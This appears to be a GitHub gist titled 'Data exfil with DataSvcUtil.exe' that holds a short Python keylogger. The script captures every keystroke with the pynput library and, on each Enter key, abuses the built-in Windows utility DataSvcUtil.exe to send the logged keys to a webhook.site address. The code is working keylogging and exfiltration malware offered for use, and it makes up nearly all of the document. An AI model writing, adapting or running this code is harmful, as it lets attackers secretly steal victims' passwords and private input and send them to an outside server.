Skip to content

Instantly share code, notes, and snippets.

@teixeira0xfffff
Created December 2, 2020 01:54
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6 to your computer and use it in GitHub Desktop.
Save teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6 to your computer and use it in GitHub Desktop.
Data exfil with DataSvcUtil.exe
# From: https://github.com/moses-palmer/pynput
from pynput.keyboard import Key, Listener
import os
import sys
import subprocess
URL = 'https://webhook.site/xxxxxx-xxxxx-xxxx-xxxxx-xxxxxxx'
uploader = "C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe"
content = ""
def on_press(key):
global content
global URL
global uploader
if str(key) == 'Key.backspace':
content += ' '
else:
content += str(key)
print(f'last key: {str(key)}')
print("")
if str(key) == 'Key.enter':
upload_url = (f'{URL}?{content}')
subprocess.call([uploader, 'c:\\temp\\test.xml', upload_url])
buffer = ''
if key == 0x03:
sys.exit(0)
if __name__ == "__main__":
try:
with Listener(on_press=on_press) as listener:
listener.join()
except (KeyboardInterrupt, SystemExit):
sys.exit(0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment